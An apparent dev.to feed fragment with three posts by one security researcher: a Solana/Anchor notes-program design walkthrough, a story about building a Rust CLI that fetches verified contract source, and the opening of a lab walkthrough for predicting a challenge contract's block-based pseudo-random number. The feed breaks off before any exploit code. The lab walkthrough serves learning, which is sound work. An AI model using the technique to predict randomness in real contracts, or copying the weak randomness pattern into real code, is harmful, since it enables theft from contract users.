&lt;p&gt;Hey friend, my name is Pavel, also known as &lt;code&gt;kode-n-rolla&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I am a Security Engineer, and today I want to walk through a small Solana program that helped me explore one of the most important foundations of Solana development: accounts.&lt;/p&gt;

&lt;p&gt;Because on Solana, everything is an account.&lt;/p&gt;

&lt;p&gt;Unlike EVM contracts, Solana programs do not keep their own internal storage in the same way. A program contains logic, while state lives in separate accounts passed into instructions. Once this idea clicks, the rest of Solana development starts to make much more sense.&lt;/p&gt;

&lt;p&gt;That is why I built &lt;code&gt;SolaNotes&lt;/code&gt; (Project lives &lt;a href="https://gitlab.com/kode-n-rolla/solanotes" rel="noopener noreferrer"&gt;here&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Let’s dive in. 🥽&lt;/p&gt;

&lt;h2&gt;
  
  
  About
&lt;/h2&gt;

&lt;p&gt;Small on-chain programs are useful when the scope is narrow enough to make every architectural decision visible.&lt;/p&gt;

&lt;p&gt;That was the idea behind &lt;code&gt;SolaNotes&lt;/code&gt; - a compact Solana/Anchor notes program built around deterministic PDA derivation, explicit ownership checks, fixed account sizing, monotonic identifiers, and testable state transitions.&lt;/p&gt;

&lt;p&gt;The application domain is intentionally simple: users can initialize a profile, create notes, update their own notes, and close notes. But even this small workflow touches several important Solana development patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how to model user-owned state;&lt;/li&gt;
&lt;li&gt;how to derive deterministic accounts;&lt;/li&gt;
&lt;li&gt;how to prevent unauthorized account mutation;&lt;/li&gt;
&lt;li&gt;how to avoid accidental PDA reuse;&lt;/li&gt;
&lt;li&gt;how to test both valid and invalid flows.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal was not to build a full notes product. The goal was to design a small on-chain workflow cleanly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Core Idea
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SolaNotes&lt;/code&gt; has two account types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UserProfile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Note&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each user gets one profile PDA. Each note is derived from the user authority and a monotonic note id.&lt;/p&gt;

&lt;p&gt;profile PDA = &lt;code&gt;["profile", authority]&lt;/code&gt;&lt;br&gt;
note PDA    = &lt;code&gt;["note", authority, note_id]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The profile stores the owner and the next note id. The note stores the actual note data.&lt;/p&gt;

&lt;p&gt;The important detail is that &lt;code&gt;note_count&lt;/code&gt; is not treated as "number of active notes". It is treated as a monotonic id source. Closing a note does not decrement it.&lt;/p&gt;

&lt;p&gt;That design prevents accidental PDA reuse.&lt;/p&gt;
&lt;h2&gt;
  
  
  Account Model
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wallet["User wallet / signer"] --&amp;gt; Program["SolaNotes program"]

Program --&amp;gt; Profile["UserProfile PDA, seeds: ['profile', authority]"]
Profile --&amp;gt; Counter["note_count, monotonic id source"]

Program --&amp;gt; Note0["Note PDA #0, seeds: ['note', authority, 0]"]
Program --&amp;gt; Note1["Note PDA #1, seeds: ['note', authority, 1]"]

Note0 --&amp;gt; Data0["created_at, updated_at"]
Note1 --&amp;gt; Data1["created_at, updated_at"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;UserProfile&lt;/code&gt; account stores:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;authority&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pubkey&lt;/span&gt;
&lt;span class="na"&gt;note_count&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;u64&lt;/span&gt;
&lt;span class="na"&gt;created_at&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;i64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Note&lt;/code&gt; account stores:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;authority&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pubkey&lt;/span&gt;
&lt;span class="na"&gt;note_id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;u64&lt;/span&gt;
&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;String&lt;/span&gt;
&lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;String&lt;/span&gt;
&lt;span class="na"&gt;created_at&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;i64&lt;/span&gt;
&lt;span class="na"&gt;updated_at&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;i64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The identity of a note is stable after creation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;authority&lt;/code&gt; does not change;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;note_id&lt;/code&gt; does not change;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created_at&lt;/code&gt; does not change.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only the note content and &lt;code&gt;updated_at&lt;/code&gt; timestamp are mutable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Instruction flow
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SolaNotes&lt;/code&gt; exposes four instructions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;initialize
create_note
update_note
close_note
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  initialize
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;initialize&lt;/code&gt; instruction creates the user profile PDA.&lt;/p&gt;

&lt;p&gt;It sets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the signer as the profile authority;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;note_count&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created_at&lt;/code&gt; from the Solana clock sysvar.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates the root account for all future notes owned by that signer.&lt;/p&gt;

&lt;h3&gt;
  
  
  create_note
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;create_note&lt;/code&gt; instruction creates a new note PDA using the current profile counter.&lt;/p&gt;

&lt;p&gt;The flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-&amp;gt;&amp;gt;Program: create_note(title, content)
Program-&amp;gt;&amp;gt;Program: validate title/content length
Program-&amp;gt;&amp;gt;Profile: read note_count
Program-&amp;gt;&amp;gt;Note: initialize PDA using authority + note_count
Program-&amp;gt;&amp;gt;Note: write note data
Program-&amp;gt;&amp;gt;Profile: increment note_count
Program--&amp;gt;&amp;gt;User: transaction confirmed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The note id comes from &lt;code&gt;profile.note_count&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the note is created, the counter is incremented using checked arithmetic. This keeps note creation deterministic while avoiding silent overflow behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  update_note
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;update_note&lt;/code&gt; instruction allows the owner to update an existing note.&lt;/p&gt;

&lt;p&gt;The note PDA is derived from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;signer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;note_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that the account structure itself already encodes ownership. The instruction also verifies that the passed note belongs to the signer.&lt;/p&gt;

&lt;p&gt;The update changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;title&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;content&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;updated_at&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It does not change:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;authority&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;note_id&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created_at&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  close_note
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;close_note&lt;/code&gt; instruction closes the note account and refunds rent to the signer.&lt;/p&gt;

&lt;p&gt;The profile counter is not decremented.&lt;/p&gt;

&lt;p&gt;This is a small but important design decision. If note &lt;code&gt;#0&lt;/code&gt; is closed, the next created note still gets id &lt;code&gt;#1&lt;/code&gt;, not &lt;code&gt;#0&lt;/code&gt; again.&lt;/p&gt;

&lt;p&gt;That keeps PDA derivation predictable and prevents identity reuse.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validation model
&lt;/h2&gt;

&lt;p&gt;The program uses two layers of validation.&lt;/p&gt;

&lt;p&gt;The first layer is structural validation through Anchor account constraints:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;seeds&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bump&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;init&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mut&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;close&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;account ownership constraints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second layer is business-logic validation inside instruction handlers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;title length checks;&lt;/li&gt;
&lt;li&gt;content length checks;&lt;/li&gt;
&lt;li&gt;counter overflow checks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This separation keeps the account model explicit. PDA structure and ownership are handled at the account level. Application-specific rules are handled in the instruction logic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why fixed-size account allocation matters
&lt;/h2&gt;

&lt;p&gt;The program uses fixed limits for note data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;MAX_TITLE_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="n"&gt;MAX_CONTENT_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The string length checks are performed using UTF-8 byte length, matching how the account size is calculated on-chain.&lt;/p&gt;

&lt;p&gt;This avoids a common class of issues where the client assumes one size model, while the on-chain account allocation uses another.&lt;/p&gt;

&lt;p&gt;The current version intentionally avoids &lt;code&gt;realloc&lt;/code&gt;. That keeps the first version simpler and makes the account sizing rules easier to reason about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing strategy
&lt;/h2&gt;

&lt;p&gt;The test suite is written with Anchor TypeScript tests.&lt;/p&gt;

&lt;p&gt;The tests cover both successful and rejected flows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;profile initialization;&lt;/li&gt;
&lt;li&gt;first note creation;&lt;/li&gt;
&lt;li&gt;second note creation;&lt;/li&gt;
&lt;li&gt;note update by the owner;&lt;/li&gt;
&lt;li&gt;rejected update attempt by another signer;&lt;/li&gt;
&lt;li&gt;note closure;&lt;/li&gt;
&lt;li&gt;verification that the closed account no longer exists;&lt;/li&gt;
&lt;li&gt;verification that a closed note id is not reused.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One important test checks that an attacker cannot update another user's note.&lt;/p&gt;

&lt;p&gt;The attacker signs the transaction, but the PDA derivation and account constraints do not match the attacker's authority. The transaction fails, and the original note data remains unchanged.&lt;/p&gt;

&lt;p&gt;That test is small, but it validates the most important security property of the program: only the note owner can mutate their own note account.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I intentionally left out
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SolaNotes&lt;/code&gt; is intentionally compact.&lt;/p&gt;

&lt;p&gt;The current version does not include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;note sharing;&lt;/li&gt;
&lt;li&gt;indexing;&lt;/li&gt;
&lt;li&gt;search;&lt;/li&gt;
&lt;li&gt;dynamic resizing;&lt;/li&gt;
&lt;li&gt;encryption;&lt;/li&gt;
&lt;li&gt;frontend integration;&lt;/li&gt;
&lt;li&gt;multi-user collaboration.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those features would add product complexity. For this version, I wanted the core account architecture to stay visible.&lt;/p&gt;

&lt;p&gt;The focus was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;one user → one profile PDA → many deterministic note PDAs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That constraint made it easier to reason about ownership, state transitions, and test coverage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engineering decisions:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;I used one profile PDA per authority to keep user-owned state explicit.&lt;/li&gt;
&lt;li&gt;I used a monotonic note counter to avoid PDA reuse after account closure.&lt;/li&gt;
&lt;li&gt;I kept note identity immutable after creation.&lt;/li&gt;
&lt;li&gt;I avoided realloc in the first version to keep account sizing predictable.&lt;/li&gt;
&lt;li&gt;I tested rejected ownership flows, not only happy paths.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🤔 Final thoughts
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SolaNotes&lt;/code&gt; is a small program, but it was useful as an engineering exercise in Solana account design.&lt;/p&gt;

&lt;p&gt;The main takeaway is that even a minimal on-chain workflow benefits from disciplined architecture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;deterministic PDA derivation;&lt;/li&gt;
&lt;li&gt;explicit ownership checks;&lt;/li&gt;
&lt;li&gt;monotonic identifiers;&lt;/li&gt;
&lt;li&gt;clear account sizing;&lt;/li&gt;
&lt;li&gt;separate structural and business validation;&lt;/li&gt;
&lt;li&gt;tests for both expected and rejected behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small scope does not mean casual implementation.&lt;/p&gt;

&lt;p&gt;Sometimes a compact program is the best place to make the architecture explicit.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤝 Connect Section
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this research breakdown, feel free to connect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/Kode-n-Rolla" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; 🧑‍💻&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.linkedin.com/in/pavel-egin/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; 💼&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://medium.com/@kode-n-rolla" rel="noopener noreferrer"&gt;Medium&lt;/a&gt; and &lt;a href="https://hashnode.com/@kode-n-rolla" rel="noopener noreferrer"&gt;Hashnode&lt;/a&gt; ✍️&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/kode_n_rolla" rel="noopener noreferrer"&gt;X (aka Twitter)&lt;/a&gt; 💬&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stay Cyber Safe 🛟&lt;/p&gt;

</description>
      <category>rust</category>
      <category>solana</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>How Building `shuka` Helped Me Stay Consistent</title>
      <dc:creator>Kode-n-Rolla</dc:creator>
      <pubDate>Mon, 25 May 2026 14:00:42 +0000</pubDate>
      <link>https://dev.to/kode-n-rolla/how-building-shuka-helped-me-stay-consistent-279g</link>
      <guid>https://dev.to/kode-n-rolla/how-building-shuka-helped-me-stay-consistent-279g</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-05-21"&gt;GitHub Finish-Up-A-Thon Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;Hello 👋&lt;br&gt;
I am &lt;code&gt;kode-n-rolla&lt;/code&gt; and this is my story.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;⛏️ &lt;code&gt;shuka&lt;/code&gt; is a Rust CLI tool for fetching &lt;em&gt;verified&lt;/em&gt; smart contract source code from blockchain explorers and saving the full source tree locally.&lt;/p&gt;

&lt;p&gt;Many bug bounty programs and Web3 projects do not always provide a public GitHub repository. Sometimes the only reliable entry point for research is a verified contract address on a blockchain explorer.&lt;/p&gt;

&lt;p&gt;I built &lt;code&gt;shuka&lt;/code&gt; to make this workflow faster and cleaner: instead of manually copying source files from an explorer, a researcher can fetch the verified source code directly and start analyzing it locally.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8vqlzgclx5xb5uvrbyo1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8vqlzgclx5xb5uvrbyo1.gif" alt="shuka-demo" width="759" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can try by yourself 👉 &lt;a href="https://github.com/Kode-n-Rolla/shuka" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Comeback Story
&lt;/h2&gt;

&lt;p&gt;🚩I started &lt;code&gt;shuka&lt;/code&gt; when I was getting deeper into Web3 security.&lt;/p&gt;

&lt;p&gt;At that time, I often saw the same problem: many smart contract targets do not have a public GitHub repository. Sometimes the only starting point is a verified contract address on a blockchain explorer. As a researcher 🔎, you need to manually open the explorer, copy source files, recreate the structure locally, and only then start reading the code properly.&lt;/p&gt;

&lt;p&gt;I wanted to make this workflow cleaner.&lt;/p&gt;

&lt;p&gt;The first version of the idea started in Python 🐍. It felt like the fastest way to prototype something useful. But the project did not move as smoothly as I expected. I was learning, switching contexts, dealing with uncertainty, and sometimes losing focus. There were moments when the tool was less about "shipping a product" and more about trying to stay consistent while everything around me felt noisy.&lt;/p&gt;

&lt;p&gt;At some point, I decided to restart the project in Rust 🦀.&lt;/p&gt;

&lt;p&gt;That decision gave the project a new shape. Rust was not the easiest path, especially because I was still learning many language patterns while building. But this was exactly what made the project meaningful to me. &lt;code&gt;shuka&lt;/code&gt; became a way to practice Rust not through isolated exercises, but through a real tool with a real use case.&lt;/p&gt;

&lt;p&gt;The comeback was not only about rewriting the code. It was about turning an unfinished idea into something I could actually publish, maintain, and improve 💪.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Experience with GitHub Copilot
&lt;/h2&gt;

&lt;p&gt;🤖 GitHub Copilot helped me mostly as a development assistant, not as a replacement for understanding the code.&lt;/p&gt;

&lt;p&gt;Since I was still learning Rust patterns while building the project, Copilot was useful for syntax hints, small refactoring suggestions, and helping me move faster when I already understood what I wanted to implement.&lt;/p&gt;

&lt;p&gt;The most valuable part was not generating large blocks of code, but reducing friction: reminding me of Rust syntax, suggesting small improvements, and helping me stay in flow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts 🤔
&lt;/h2&gt;

&lt;p&gt;Building &lt;code&gt;shuka&lt;/code&gt; helped me stay disciplined. Some days were productive, some were slow, and some were full of doubts. But the project gave me a clear direction: open the editor, write code, improve one small part, run it again, and keep moving.&lt;/p&gt;

&lt;p&gt;Publishing &lt;code&gt;shuka&lt;/code&gt; was a small but meaningful milestone for me 🏁. It reminded me that open source is not only about huge frameworks or popular libraries. Sometimes it starts with a small tool that solves one real problem.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;shuka&lt;/code&gt; is still at the beginning of its journey 🛣️, and I plan to keep improving it, adding more explorers, chains, and features over time.&lt;/p&gt;

&lt;p&gt;Thanks to &lt;strong&gt;GitHub&lt;/strong&gt; and &lt;strong&gt;DEV&lt;/strong&gt; for creating this challenge. It gave me a good reason to reflect on this project, finish the story around it, and share &lt;code&gt;shuka&lt;/code&gt; with the community.&lt;/p&gt;

&lt;p&gt;Thanks for reading, my friend 🤜🤛.&lt;/p&gt;

&lt;p&gt;Keep building, keep learning, and stay cyber safe 🛡️.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2bwfnlwdziw8mc6kdoa4.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2bwfnlwdziw8mc6kdoa4.gif" alt="Thanks" width="300" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>rust</category>
      <category>web3</category>
    </item>
    <item>
      <title>🎯 Cracking Cyfrin's NFT Challenge: Guessing Pseudo-Randomness Like a Pro</title>
      <dc:creator>Kode-n-Rolla</dc:creator>
      <pubDate>Sat, 16 Aug 2025 19:27:49 +0000</pubDate>
      <link>https://dev.to/kode-n-rolla/cracking-cyfrins-nft-challenge-guessing-pseudo-randomness-like-a-pro-1mp5</link>
      <guid>https://dev.to/kode-n-rolla/cracking-cyfrins-nft-challenge-guessing-pseudo-randomness-like-a-pro-1mp5</guid>
      <description>&lt;h2&gt;
  
  
  Hey there!
&lt;/h2&gt;

&lt;p&gt;I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills.&lt;/p&gt;

&lt;p&gt;Recently, I discovered &lt;a href="https://updraft.cyfrin.io/" rel="noopener noreferrer"&gt;Cyfrin Updraft&lt;/a&gt; — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓&lt;/p&gt;

&lt;p&gt;This article is a walkthrough of how I solved &lt;strong&gt;Lesson Nine&lt;/strong&gt;, a challenge where your goal is to &lt;strong&gt;guess a pseudo-random number&lt;/strong&gt; and call &lt;code&gt;solveChallenge(...)&lt;/code&gt; to claim the NFT.&lt;/p&gt;

&lt;p&gt;Sounds impossible? Not really — once you understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How &lt;code&gt;abi.encodePacked&lt;/code&gt;, &lt;code&gt;keccak256&lt;/code&gt; and &lt;code&gt;% 100000&lt;/code&gt; work together&lt;/li&gt;
&lt;li&gt;How values like &lt;code&gt;block.timestamp&lt;/code&gt; and &lt;code&gt;block.prevrandao&lt;/code&gt; affect randomness&lt;/li&gt;
&lt;li&gt;How to simulate the Sepolia chain using a fork + &lt;code&gt;vm.warp&lt;/code&gt; in Foundry&lt;/li&gt;
&lt;li&gt;How to craft the correct input without reverting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're learning smart contract security and want a hands-on example of attacking pseudo-randomness — this one's for you. Let’s dig in 🔍&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠️ Setting Up the Playground
&lt;/h2&gt;

&lt;p&gt;Before writing any exploit code, we need a proper environment to simulate the real Sepolia blockchain.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔧 Step 1: Start a Foundry project
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;forge init lesson9
&lt;span class="nb"&gt;cd &lt;/span&gt;lesson9
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foundry is my go-to tool for smart contract testing. It's blazing fast, flexible, and lets you fork real blockchains easily.&lt;/p&gt;

&lt;h3&gt;
  
  
  📁 Step 2: Create a .env file
&lt;/h3&gt;

&lt;p&gt;We’ll be forking Sepolia at a specific block, so we need to set up environment variables.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SEPOLIA_RPC="https://sepolia.infura.io/v3/YOUR_API_KEY"
TARGET="0xTargetContractAddress"
FORK_BLOCK=8997426
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To load them inside tests, don’t forget to source the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;source .env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔍 Step 3: Pick a specific block to fork
&lt;/h3&gt;

&lt;p&gt;Why do we need a fixed block?&lt;/p&gt;

&lt;p&gt;Because the challenge uses &lt;code&gt;block.timestamp&lt;/code&gt; and &lt;code&gt;block.prevrandao&lt;/code&gt; as part of the pseudo-randomness. If you don’t lock those values, your guess will always be wrong.&lt;/p&gt;

&lt;p&gt;Get the latest block number:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast block-number --rpc-url $SEPOLIA_RPC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pick one (e.g., 8997426) and get its full details:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast block 8997426 --rpc-url $SEPOLIA_RPC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save the &lt;code&gt;timestamp&lt;/code&gt; and &lt;code&gt;mixHash&lt;/code&gt; (this is actually prevrandao).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Add the target interface
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;src/ILessonNine.sol&lt;/code&gt;&lt;br&gt;
 with the interface of the challenge contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/// @title LessonNine Interface - Solve the pseudo-randomness challenge
interface ILessonNine {
    function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle) external;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why interface? Because we don’t need the full contract, just its external call signature to interact with it.&lt;/p&gt;

&lt;p&gt;Ready for the next step — generating the correct input and attacker address? 😏&lt;/p&gt;

&lt;p&gt;Let’s go!&lt;/p&gt;

&lt;h2&gt;
  
  
  🎯 Cracking the "Random" — Making a Correct Guess
&lt;/h2&gt;

&lt;p&gt;The goal of this challenge is to guess the correct number (between 0 and 99999) generated inside the contract. It uses a very common but insecure pattern for pseudo-randomness:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 guess = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp))) % 100000;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s break that down. It depends on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
